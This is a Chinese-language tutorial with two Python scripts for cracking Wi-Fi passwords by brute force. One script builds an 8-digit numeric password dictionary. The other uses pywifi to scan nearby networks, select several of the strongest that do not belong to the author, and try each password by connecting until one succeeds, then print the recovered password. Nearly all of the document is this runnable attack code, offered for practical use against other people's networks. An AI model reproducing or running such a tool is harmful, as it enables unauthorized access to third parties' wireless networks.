一、前言说明
本机运行环境：系统环境Win10，运行环境Python3.6，运行工具Pycharm
需要Python的包有：pywifi
这是一种暴力破解wifi的模式，需要的时间比较长，本文主要提供一个破解思路
二、思路介绍
先生成一个密码字典（此步骤也可以从网上下载字典）
循环用密码字典的每个密码去尝试连接Wifi，直到成功
三、源码设计
1. 密码字典TXT文件生成，本文提供的比较简单，实用破解可以根据一般密码设置，去生成比较大比较全的密码字典
一般设置密码规则，可以参照这个博客写的内容：https://www.cnblogs.com/lifengfneg/p/5992649.html
以下提供简单8位纯数字的字典生成方案代码GetWifiPsdDic.py
1 import itertools as its 2 3 4 if __name__ == '__main__': 5 words_num = "1234567890" 6 words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 7 r = its.product(words_num, repeat=8) 8 dic = open("password-8位数字.txt", "w") 9 for i in r: 10 dic.write("".join(i)) 11 dic.write("".join(" ")) 12 dic.close()
2. 暴力破解密码，用时较长GetWifiPsd.py
1 import pywifi 2 3 from pywifi import const # 引用一些定义 4 5 import time 6 7 8 def getwifi(wifilist, wificount): 9 wifi = pywifi.PyWiFi() # 抓取网卡接口 10 ifaces = wifi.interfaces()[0] # 获取网卡 11 ifaces.scan() 12 time.sleep(8) 13 bessis = ifaces.scan_results() 14 allwifilist = [] 15 namelist = [] 16 ssidlist = [] 17 for data in bessis: 18 if data.ssid not in namelist: # 去掉重复的WIFI名称 19 namelist.append(data.ssid) 20 allwifilist.append((data.ssid, data.signal)) 21 sorted(allwifilist, key=lambda st: st[1], reverse=True) 22 time.sleep(1) 23 n = 0 24 if len(allwifilist) is not 0: 25 for item in allwifilist: 26 if (item[0] not in ssidlist) & (item[0] not in wifilist): 27 n = n + 1 28 if n <= wificount: 29 ssidlist.append(item[0]) 30 print(allwifilist) 31 return ssidlist 32 33 34 def getifaces(): 35 wifi = pywifi.PyWiFi() # 抓取网卡接口 36 ifaces = wifi.interfaces()[0] # 获取网卡 37 ifaces.disconnect() # 断开无限网卡连接 38 return ifaces 39 40 41 def testwifi(ifaces, ssidname, password): 42 profile = pywifi.Profile() # 创建wifi连接文件 43 profile.ssid = ssidname # 定义wifissid 44 profile.auth = const.AUTH_ALG_OPEN # 网卡的开放 45 profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法 46 profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元 47 profile.key = password # wifi密码 48 ifaces.remove_all_network_profiles() # 删除其他所有配置文件 49 tmp_profile = ifaces.add_network_profile(profile) # 加载配置文件 50 ifaces.connect(tmp_profile) # 连接wifi 51 time.sleep(5) # 5秒内能否连接上 52 if ifaces.status() == const.IFACE_CONNECTED: 53 return True 54 else: 55 return False 56 57 58 def beginwork(wifinamelist): 59 ifaces = getifaces() 60 path = r"password-8位数字.txt" 61 # path = r"password-常用密码.txt" 62 files = open(path, 'r') 63 while True: 64 try: 65 password = files.readline() 66 password = password.strip(' ') 67 if not password: 68 break 69 for wifiname in wifinamelist: 70 print("正在尝试：" + wifiname + "," + password) 71 if testwifi(ifaces, wifiname, password): 72 print("Wifi账号:" + wifiname + "，Wifi密码:" + password) 73 wifinamelist.remove(wifiname) 74 break 75 if not wifinamelist: 76 break 77 except: 78 continue 79 files.close() 80 81 82 if __name__ == '__main__': 83 wifinames_e = ["", "Vrapile"] # 排除不破解的wifi名字 84 wifinames = getwifi(wifinames_e, 5) 85 print(wifinames) 86 beginwork(wifinames)
四、最后小结
上文生成字典有很多冗余密码成分，会大大加长破解时间，实用时可以更改密码生成方式